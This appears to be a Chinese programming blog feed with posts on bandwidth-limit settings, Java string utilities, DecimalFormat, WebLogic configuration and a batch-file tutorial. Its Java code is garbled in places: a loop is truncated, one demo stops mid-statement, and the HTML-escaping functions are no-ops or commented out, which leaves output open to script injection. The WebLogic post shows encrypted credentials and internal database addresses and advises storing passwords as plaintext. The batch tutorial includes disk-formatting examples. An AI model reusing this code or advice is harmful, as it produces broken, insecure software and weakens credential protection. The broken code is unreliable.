BandWidth 192.168.218.5 0

第一行是说,限制 localhost 位置,无论下载多少个档案,下载速度总合最高只有10KB
第二行是说, 192.168.1.2 这个IP位址,无论下载多少个档案,下载速度总合最高无限制
(1KB=1024 , 0 即是无限制)

例二：

BandWidth all 10240
MinBandWidth all 5120

这个例子是说
限制所有IP位置,只有一个下载时,最高只有10KB的速度
如果有多个下载时,最小下载单档的速度是5KB
则：
下载1个档案速度为10K 总合下载速度为10K
下载5个档案速度各为5K 总合下载速度为25K

例三：

LargeFileLimit .avi 500 10240

副档名为avi的档案且档案大小大於或等於500KB
下载的速度限制最高为10KB
(这里是多人平分那10KB的速度喔! 1人下载有10KB,10人下载只有1KB)

智者无疆 2008-07-16 15:40 发表评论

JAVA STRING UTIL

智者无疆 — Thu, 20 Sep 2007 08:29:00 GMT

/**
     * 字符串替换，将 source 中的 oldString 全部换成 newString
     *
     * @param source 源字符串
     * @param oldString 老的字符串
     * @param newString 新的字符串
     * @return 替换后的字符串
     */
    public static String replaceStr(String source, String oldString, String newString) {
        StringBuffer output = new StringBuffer();

int lengthOfSource = source.length(); // 源字符串长度
int lengthOfOld = oldString.length(); // 老字符串长度

int posStart = 0; // 开始搜索位置
int pos; // 搜索到老字符串的位置

while ((pos = source.indexOf(oldString, posStart)) >= 0) {
output.append(source.substring(posStart, pos));

            output.append(newString);
            posStart = pos + lengthOfOld;
        }

        if (posStart < lengthOfSource) {
            output.append(source.substring(posStart));
        }

        return output.toString();
    }
public static void main(String[] args) {
  System.out.println(replaceIgnoreCase("War is wAr and waR and war","war","[start]","[end]"));
  System.out.println(replaceIgnoreCase("","war","[start]","[end]"));
  System.out.println(replaceIgnoreCase("Warsdf","war","[start]","[end]"));
  System.out.println(replaceIgnoreCase("sdfWar","war","[start]","[end]"));
}

/**
* 2007-7-30 added by lxs
* 将原有的字符串按照需要的长度显示,超出的长度用..代替。
* 给定的长度应包含2位..的长度数。
*/
/*
*0x3400->13312->'?' 0x9FFF->40959->? 0xF900->63744->?
*
**/
public static String getPointStr(String str,int length){
  if(str==null || "".equals(str)){
   return "";
  }
  if(getStrLength(str)>length){
   str=getLeftStr(str,length-2);
  }
  return str;
}

public static String getLeftStr(String str,int length){

  if(str == null || "".equals(str)){
   return "";
  }
  int index = 0;

  char[] charArray = str.toCharArray();
  for(;index    if(((charArray[index]>=0x3400)&&(charArray[index]<0x9FFF))||(charArray[index]>=0xF900)){
    length --;
   }
  }
  String returnStr = str.substring(0, index);
  returnStr += "..";
  return returnStr;
}

public static int getStrLength(String str){
  if(str==null || "".equals(str)){
   return 0;
  }
  char[] charArray = str.toCharArray();
  int length = 0;
  for(int i = 0; i < charArray.length; i++){
   if(((charArray[i]>=0x3400)&&(charArray[i]<0x9FFF))||(charArray[i]>=0xF900)){
    length += 2;
   }else{
    length ++;
   }
  }
  return length;
}

    /**
     * 将字符串格式化成 HTML 代码输出
     * 只转换特殊字符，适合于 HTML 中的表单区域
     *
     * @param str 要格式化的字符串
     * @return 格式化后的字符串
     */
    public static String toHtmlInput(String str) {
        if (str == null)    return null;

        String html = new String(str);
        //html = replaceStr(html, "<", "<");
        //html = replaceStr(html, ">", ">");
        html = replaceStr(html, "\r\n", "
");
        //html = replaceStr(html, "\n", "
");
        //html = replaceStr(html, "&", "&");
        html = replaceStr(html, "\t", "    ");
        html = replaceStr(html, " ", " ");
        return html;
    }
    public static String toHtmlInputExceptSpace(String str) {
        if (str == null)    return null;

        String html = new String(str);
        html = replaceStr(html, "<", "<");
        html = replaceStr(html, ">", ">");
        html = replaceStr(html, "\r\n", "\n");
        html = replaceStr(html, "\n", "
\n");
        html = replaceStr(html, "&", "&");
        html = replaceStr(html, "\t", "    ");
        return html;
    }

    public static String toHtmlOutput(String str) {
     if (str == null)    return null;

     String html = new String(str);
        html = replaceStr(html, "
\n", "\n");
     html = replaceStr(html, "&", "&");
     html = replaceStr(html, "<", "<");
     html = replaceStr(html, ">", ">");
        html = replaceStr(html, "\n", "\r\n");
        html = replaceStr(html, "    ", "\t");
        html = replaceStr(html, "　", " ");


     return html;
    }

    public static String toHtmlOutput1(String str) {
     if (str == null)    return null;

     String html = new String(str);
        html = replaceStr(html, "
\n", "\n");
     html = replaceStr(html, "&", "&");
     html = replaceStr(html, "<", "<");
     html = replaceStr(html, ">", ">");
        //html = replaceStr(html, "\n", "\r\n");
        html = replaceStr(html, "    ", "\t");
        html = replaceStr(html, "　", " ");


     return html;
    }

智者无疆 2007-09-20 16:29 发表评论

java:redirect 和forward的区别,DecimalFormat及DecimalFormat的使用

智者无疆 — Fri, 03 Aug 2007 02:01:00 GMT

使用response.sendRedirect()地址栏将改变
使用request.getRequestDispatcher().forward(request,response)地址栏中的信息保持不变只用通过方法2跳转才能在新页取出来

redirect 会首先发一个response给浏览器, 然后浏览器收到这个response后再发一个requeset给服务器, 然后服务器发新的response给浏览器. 这时页面收到的request是一个新从浏览器发来的.

forward 发生在服务器内部, 在浏览器完全不知情的情况下发给了浏览器另外一个页面的response. 这时页面收到的request不是从浏览器直接发来了,可能己经放了数据.

所以:
request.setAttribute存的东西

只用通过方法2跳转才能在新页取出来
用 DecimalFormat 格式化数字引言 Java中对浮点数的输出表示在Java中浮点数包括基本型float、double，以及对象包装类型的Float和Double，对于这些浮点数的输出，不管是显式地还是隐式地调用toString()得到它的表示字串，输出格式都是按照如下规则进行的如果绝对值大于0.001、小于10000000，那么就以常规的小数形式表示。如果在上述范围之外，则使用科学计数法表示。即类似于1.234E8的形式。可以使用 java.text.DecimalFormat及其父类NumberFormat格式化数字本例只浅述DecimalFormat的使用。 Pattern 0 - 如果对应位置上没有数字，则用零代替 # - 如果对应位置上没有数字，则保持原样（不用补）；如果最前、后为0，则保持为空。正负数模板用分号（;）分割 Number Format Pattern Syntax You can design your own format patterns for numbers by following the rules specified by the following BNF diagram: pattern := subpattern{;subpattern} subpattern := {prefix}integer{.fraction}{suffix} prefix := '\\u0000'..'\\uFFFD' - specialCharacters suffix := '\\u0000'..'\\uFFFD' - specialCharacters integer := '#'* '0'* '0' fraction := '0'* '#'* DEMO value 123456.789 pattern ,###.### output 123,456.789 Explanation The pound sign (#) denotes a digit, the comma（逗号） is a placeholder for the grouping separator, and the period（句号） is a placeholder for the decimal separator. 井号(#)表示一位数字，逗号是用于分组分隔符的占位符，点是小数点的占位符。如果小数点的右面，值有三位，但是式样只有两位。format方法通过四舍五入处理。 value 123.78 pattern 000000.000 output 000123.780 Explanation The pattern specifies leading and trailing zeros, because the 0 character is used instead of the pound sign (#). 应用实例 1： /* * Copyright (c) 1995-1998 Sun Microsystems, Inc. All Rights Reserved. */ import java.util.*; import java.text.*; public class DecimalFormatDemo { static public void customFormat(String pattern, double value ) { DecimalFormat myFormatter = new DecimalFormat(pattern); String output = myFormatter.format(value); System.out.println(value + " " + pattern + " " + output); } static public void localizedFormat(String pattern, double value, Locale loc ) { NumberFormat nf = NumberFormat.getNumberInstance(loc); DecimalFormat df = (DecimalFormat)nf; df.applyPattern(pattern); String output = df.format(value); System.out.println(pattern + " " + output + " " + loc.toString()); } static public void main(String[] args) { customFormat("###,###.###", 123456.789); customFormat("###.##", 123456.789); customFormat("000000.000", 123.78); customFormat("$###,###.###", 12345.67); customFormat("\u00a5###,###.###", 12345.67); Locale currentLocale = new Locale("en", "US"); DecimalFormatSymbols unusualSymbols = new DecimalFormatSymbols(currentLocale); unusualSymbols.setDecimalSeparator('|'); unusualSymbols.setGroupingSeparator('^'); String strange = "#,##0.###"; DecimalFormat weirdFormatter = new DecimalFormat(strange, unusualSymbols); weirdFormatter.setGroupingSize(4); String bizarre = weirdFormatter.format(12345.678); System.out.println(bizarre); Locale[] locales = { new Locale("en", "US"), new Locale("de", "DE"), new Locale("fr", "FR") }; for (int i = 0; i

智者无疆 2007-08-03 10:01 发表评论

weblogic 使用笔记

智者无疆 — Tue, 06 Mar 2007 10:32:00 GMT

1.weblogic的下载，安装就免了吧。它和其他软件没什么不同
2.weblogic的配置。
   首先这里有几个名词，Cluster,domain,server,如果第一次接触它，可能会有些不知所措。也许我们在网上能搜到它们的名词解释，但还是太抽像了,难以琢摸。
好在weblogic有一个缺省的配置模板，Basic weblogic server domain.它能带领我们这些陌生人走出迷宫。
在此点next之后先择Express（默认选项）即可。之后是输入管理员名称及密码等等。在一路next之后，weblogic为我们创建了一个cluster(domains),下面有一个domain(mydomain),mydomain下面有application及myserver文件夹。application就是发布工程的文件夹，和tomcat的webapp包一样。至此我们应该对那几个麻烦的名词能逆向悟出一点了。
3.进一步配置weblogic的其他配置可以进入：http://localhost:7001/console进行。
也可以在\bea\user_projects\domains\mydomain下的config.xml里面配置如下：

            NativeIOEnabled="true" ReliableDeliveryPolicy="RMDefaultPolicy" ServerVersion="8.1.2.0">
                    IdentityAndTrustLocations="KeyStores" Name="myserver"/>


            DefaultTimeToLive="60000" Name="RMDefaultPolicy" Store="FileStore"/>
            PasswordPolicy="wl_default_password_policy"
        Realm="wl_default_realm" RealmSetup="true"/>
            Credential="{3DES}2zhEU1x+6NtlLCiEEASIq7Qj1x8k7JuC+3pK9+ca9us=" Name="mydomain"/>
            Credential="{3DES}4UitCfj3yY1Qydt7r2TmFZ5k7e+2OwU1CcIm+8hJck+ffQmdjoBIHB7nOlWWYkgFobxW85RnRM1ExL09MjQAsXRxURh0QkpJ"
        Name="mydomain" RealmBootStrapVersion="1"/>



            Store="FileStore" Targets="myserver">
                    JNDIName="jms.internal.queue.WSStoreForwardQueue"
            JNDINameReplicated="false" Name="WSInternaljms.internal.queue.WSStoreForwardQueuemyserver"/>
                    JNDIName="jms.internal.queue.WSDupsEliminationHistoryQueue"
            JNDINameReplicated="false" Name="WSInternaljms.internal.queue.WSDupsEliminationHistoryQueuemyserver"/>

            Path="F:\bea\user_projects\domains\mydomain\applications"
        StagingMode="nostage" TwoPhase="true">


            Name="TDB" Password="{3DES}hW7xgPt8c4U=" Properties="user=media"
        Targets="myserver" TestConnectionsOnCreate="true"
        TestConnectionsOnRelease="true"
        TestTableName="SQL SELECT 1 FROM DUAL" URL="jdbc:oracle:thin:@192.168.2.101:1521:tmedia"/>
            PoolName="TDB" Targets="myserver"/>
            Name="SDB" Password="{3DES}hW7xgPt8c4U=" Properties="user=media"
        Targets="myserver" TestConnectionsOnCreate="true"
        TestConnectionsOnRelease="true"
        TestTableName="SQL SELECT 1 FROM DUAL" URL="jdbc:oracle:thin:@192.168.2.101:1521:smedia"/>
            PoolName="SDB" Targets="myserver"/>
            Name="jdbc/CorrelativeLink" PoolName="SDB" Targets="myserver"/>
            DriverClassName="oracle.jdbc.driver.OracleDriver"
        FactoryName="jdbc/CorrelativeLink" Name="jdbc/CorrelativeLink"
        Password="{3DES}hW7xgPt8c4U=" Properties=""
        URL="jdbc:oracle:thin:@192.168.2.101:1521:smedia" UserName="media"/>

4.配置myeclipse的server configer
   (1) bea home directory :F:/bea
   (2)weblogic installation directory F:\bea\weblogic81
( 3) admin name :刚才你在迷宫里填写的名字
(4) password    :迷宫里写的密码
   （5）Execution domain root F:\bea\user_projects\domains
   (6)Execution domain name  : mydomain
(7)Execution    server   mydomain: myserver
(8) hostname:portnumber:localhost:7001
(9)security policy file:F:\bea\weblogic81\server\lib\weblogic.policy
(10)jaas....不管它。
然后配置第二项jdk.（使用weblogic自带的就行）
最后别忘了把你刚才辛苦半天配置的server 点上enable.
5.在第一次启动的时候可能有这样的错误:weblogic无法安全地读取连接数据库的密码：
此时可把刚才提到的config.xml里的加密密码全改成明文形式。重启，通过

智者无疆 2007-03-06 18:32 发表评论

BAT文件语法和技巧（bat文件的编写及使用）

智者无疆 — Tue, 16 Jan 2007 02:32:00 GMT

BAT文件语法和技巧（bat文件的编写及使用）
首先，批处理文件是一个文本文件，这个文件的每一行都是一条DOS命令（大部分时候就好象我们在DOS提示符下执行的命令行一样），你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

其次，批处理文件是一种简单的程序，可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程，在批处理中也可以使用循环语句(for)来循环执行一条命令。当然，批处理文件的编程能力与C语言等编程语句比起来是十分有限的，也是十分不规范的。批处理的程序语句就是一条条的DOS命令（包括内部命令和外部命令），而批处理的能力主要取决于你所使用的命令。

第三，每个编写好的批处理文件都相当于一个DOS的外部命令，你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录（例如C:\BATCH），然后将所有你编写的批处理文件放到该目录中，这样只要在path中设置上c:\batch，你就可以在任意位置运行所有你编写的批处理程序。

第四，在DOS和Win9x/Me系统下，C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件，每次系统启动时会自动运行该文件，你可以将系统每次启动时都要运行的命令放入该文件中，例如设置搜索路径，调入鼠标驱动和磁盘缓存，设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例：
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP

批处理的作用
简单的说，批处理的作用就是自动的连续执行多条命令。

这里先讲一个最简单的应用：在启动wps软件时，每次都必须执行（>前面内容表示DOS提示符）：
C:\>cd wps
C:\WPS>spdos
C:\WPS>py
C:\WPS>wbx
C:\WPS>wps
如果每次用WPS之前都这样执行一遍，您是不是觉得很麻烦呢？

好了，用批处理，就可以实现将这些麻烦的操作简单化，首先我们编写一个runwps.bat批处理文件，内容如下：
@echo off
c:
cd\wps
spdos
py
wbx
wps
cd\

以后，我们每次进入wps，只需要运行runwps这个批处理文件即可。

常用命令

echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。
echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。
call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续
rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。

例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。

　　批处理文件的内容为: 　　　　　　　命令注释：

　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行
　　　　dir c:\*.* >a.txt　　　　　　　将c盘文件列表写入a.txt
　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos
　　　　echo 你好　　　　　　　　　　显示"你好"
　　　　pause 　　　　　　　　　　　　暂停,等待按键继续
　　　　rem 准备运行wps 　　　　　　　注释：准备运行wps
　　　　cd ucdos　　　　　　　　　　　进入ucdos目录
　　　　wps 　　　　　　　　　　　　　运行wps　　

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符"%"。

%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。

例2：C:根目录下有一批处理文件名为f.bat，内容为：
@echo off
format %1

如果执行C:\>f a:
那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a:

例3：C:根目录下一批处理文件名为t.bat，内容为:
@echo off
type %1
type %2

那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

特殊命令

if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。

一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。

例：if "%1"=="a" format a:

2、if [not] exist [路径\]文件名待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。

如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件，则显示它的内容。

3、if errorlevel <数字> 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。

如if errorlevel 2 goto x2

二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。

如:

goto end

:end
echo this is the end

标号用":字符串"来定义，标号所在行不被执行。

三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。

注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。

choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）：

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
　该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:
　/C　　choices　　　指定要创建的选项列表。默认列表是 "YN"。

　/N　　　　　　　　　在提示符中隐藏选项列表。提示前面的消息得到显示，选项依旧处于启用状态。

　/CS　　　　　　　　允许选择分大小写的选项。在默认情况下，这个工具是不分大小写的。

　/T　　timeout　　　做出默认选择之前，暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0，就不会有暂停，默认选项
　　　　　　　　　　　会得到选择。

　/D　　choice　　　　在 nnnn 秒之后指定默认选项。字符必须在用 /C 选项指定的一组选择中; 同时，必须用 /T 指定 nnnn。

　/M　　text　　　　　指定提示之前要显示的消息。如果没有指定，工具只显示提示。

　/?　　　　　　　　　显示帮助消息。

　注意:
　ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选择返回 1，第二个选择返回 2，等等。如果用户按的键不是有效的选择，该工具会发出警告响声。如果该工具检测到错误状态，它会返回 255 的ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键，该工具会返回 0 的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时，将参数降序排列。

示例:
　CHOICE /?
　CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
　CHOICE /T 10 /C ync /CS /D y
　CHOICE /C ab /M "选项 1 请选择 a，选项 2 请选择 b。"
　CHOICE /C ab /N /M "选项 1 请选择 a，选项 2 请选择 b。"
　
如果我运行命令：CHOICE /C YNC /M "确认请按 Y，否请按 N，或者取消请按 C。"
屏幕上会显示：
确认请按 Y，否请按 N，或者取消请按 C。 [Y,N,C]?
　
　
例：test.bat的内容如下（注意，用if errorlevel判断返回值时，要按返回值从高到低排列）:
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errotlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批处理运行后，将显示"defrag,mem,end[D,M,E]?" ，用户可选择d m e ，然后if语句根据用户的选择作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，批处理运行结束。

四、for 循环命令，只要条件符合，它将多次执行同一命令。

语法：
对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable　　　　指定一个单一字母可替换的参数。
(set)　　　　　　指定一个或一组文件。可以使用通配符。
command　　　　　指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

批处理示例

1. IF-EXIST

1)

首先用记事本在C:\建立一个test1.bat批处理文件，文件内容如下：
@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后运行它：
C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文件，那么它的内容就会被显示出来，如果不存在，批处理就会提示你该文件不存在。

2)

接着再建立一个test2.bat文件，内容如下：
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist

执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上。

说明：
(1) IF EXIST 是用来测试文件是否存在的，格式为
IF EXIST [路径+文件名] 命令
(2) test2.bat文件中的%1是参数，DOS允许传递9个批参数信息给批处理文件，分别为%1~%9(%0表示test2命令本身) ，这有点象编程中的实参和形参的关系，%1是形参，AUTOEXEC.BAT是实参。

3) 更进一步的，建立一个名为TEST3.BAT的文件，内容如下：
@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果运行：
C:\>TEST3 A B C
屏幕上会显示:
XIAO
TIAN
XIN

如果运行：
C:\>TEST3 A B
屏幕上会显示
XIAO
TIAN

在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。

2、IF-ERRORLEVEL

建立TEST4.BAT，内容如下：
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:IF ERRORLEVEL 1 ECHO 文件拷贝失败
IF ERRORLEVEL 0 ECHO 成功拷贝文件

然后执行文件:
C:\>TEST4

如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。

IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的：
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拷贝文件
IF ERRORLEVEL 1 ECHO 未找到拷贝文件
IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作
IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作
IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误

无论拷贝是否成功，后面的：

未找到拷贝文件
用户通过ctrl-c中止拷贝操作
预置错误阻止文件拷贝操作
拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义：
backup
0 备份成功
1 未找到备份文件
2 文件共享冲突阻止备份完成
3 用户用ctrl-c中止备份
4 由于致命的错误使备份操作中止

diskcomp
0 盘比较相同
1 盘比较不同
2 用户通过ctrl-c中止比较操作
3 由于致命的错误使比较操作中止
4 预置错误中止比较

diskcopy
0 盘拷贝操作成功
1 非致命盘读/写错
2 用户通过ctrl-c结束拷贝操作
3 因致命的处理错误使盘拷贝中止
4 预置错误阻止拷贝操作

format
0 格式化成功
3 用户通过ctrl-c中止格式化处理
4 因致命的处理错误使格式化中止
5 在提示"proceed with format（y/n）?"下用户键入n结束

xcopy
0 成功拷贝文件
1 未找到拷贝文件
2 用户通过ctrl-c中止拷贝操作
4 预置错误阻止文件拷贝操作
5 拷贝过程中写盘错误

3、IF STRING1 == STRING2

建立TEST5.BAT，文件内容如下：
@echo off
IF "%1" == "A" formAT A:

执行：
C:\>TEST5 A
屏幕上就出现是否将A:盘格式化的内容。

注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。
如：if [%1]==[A] 或者 if %1*==A*

5、GOTO

建立TEST6.BAT，文件内容如下：
@ECHO OFF
IF EXIST C:\AUTOEXEC.BAT GOTO _COPY
GOTO _DONE
:_COPY
COPY C:\AUTOEXEC.BAT D:\
:_DONE

注意：
(1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。
(2) 标号的命名规则与文件名的命名规则相同。
(3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。

6、FOR

建立C:\TEST7.BAT，文件内容如下：
@ECHO OFF
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C

运行：
C:>TEST7

执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。

win2000命令行方式批处理BAT文件技巧
　

文章结构
1. 所有内置命令的帮助信息
2. 环境变量的概念
3. 内置的特殊符号(实际使用中间注意避开)
4. 简单批处理文件概念
5. 附件1 tmp.txt
6. 附件2 sample.bat

###########################
1. 所有内置命令的帮助信息
###########################
ver
cmd /?
set /?
rem /?
if /?
echo /?
goto /?
for /?
shift /?
call /?
其他需要的常用命令
type /?
find /?
findstr /?
copy /?

下面将所有上面的帮助输出到一个文件
echo ver >tmp.txt
ver >>tmp.txt
echo cmd /? >>tmp.txt
cmd /? >>tmp.txt
echo rem /? >>tmp.txt
rem /? >>tmp.txt
echo if /? >>tmp.txt
if /? >>tmp.txt
echo goto /? >>tmp.txt
goto /? >>tmp.txt
echo for /? >>tmp.txt
for /? >>tmp.txt
echo shift /? >>tmp.txt
shift /? >>tmp.txt
echo call /? >>tmp.txt
call /? >>tmp.txt
echo type /? >>tmp.txt
type /? >>tmp.txt
echo find /? >>tmp.txt
find /? >>tmp.txt
echo findstr /? >>tmp.txt
findstr /? >>tmp.txt
echo copy /? >>tmp.txt
copy /? >>tmp.txt
type tmp.txt

#############################
2. 环境变量的概念
#############################

C:\Program Files>set
ALLUSERSPROFILE=C:\Documents and Settings\All Users
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=FIRST
ComSpec=C:\WINNT\system32\cmd.exe
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Os2LibPath=C:\WINNT\system32\os2\dll;
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0605
ProgramFiles=C:\Program Files
PROMPT=$P$G
SystemDrive=C:
SystemRoot=C:\WINNT
TEMP=C:\WINNT\TEMP
TMP=C:\WINNT\TEMP
USERPROFILE=C:\Documents and Settings\Default User
windir=C:\WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到.
语法: copy mychenxu.exe %windir%\system32\.
使用点(.) 便于一目了然
对环境变量的引用使用(英文模式,半角)双引号
%windir% 变量
%%windir%% 二次变量引用.
我们常用的还有
%temp% 临时文件目录
%windir% 系统目录
%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作
C:\>dir p*
C:\ 的目录
2000-09-02 11:47 2,164 PDOS.DEF
1999-01-03 00:47 Program Files
1 个文件 2,164 字节
1 个目录 1,505,997,824 可用字节

C:\>cd pro*
C:\Program Files>

C:\>
C:\>cd "Program Files"
C:\Program Files>

############################################
3. 内置的特殊符号(实际使用中间注意避开)
############################################
微软里面内置了下列字符不能够在创建的文件名中间使用
con nul aux \ / | || && ^ > < *

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)
To create the variable value new&name, type:
set varname=new^&name

To create the variable value "new&name", type:
set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt
IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件
>> 追加到一个文件后面
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示
^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb
echo 123456 ^> aaa
echo 1231231 > bbb
() 包含命令
(echo aa & echo bb)
, 和空格一样的缺省分隔符号.
; 注释,表示后面为注释
: 标号作用
| 管道操作
& Usage：第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令，而不管命令是否执行成功
dir c:\*.exe & dir d:\*.exe & dir e:\*.exe
&& Usage：第一条命令 && 第二条命令 [&& 第三条命令...]
当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；
|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...]
当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

常用语法格式
IF [NOT] ERRORLEVEL number command para1 para2
IF [NOT] string1==string2 command para1 para2
IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2
IF NOT EXIST filename command para1 para2
IF "%1"=="" goto END
IF "%1"=="net" goto NET
IF NOT "%2"=="net" goto OTHER
IF ERRORLEVEL 1 command para1 para2
IF NOT ERRORLEVEL 1 command para1 para2
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do echo %i %j %k
按照字母顺序 ijklmnopq依次取参数.
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

########################
4. 简单批处理文件概念
########################

echo This is test > a.txt
type a.txt
echo This is test 11111 >> a.txt
type a.txt
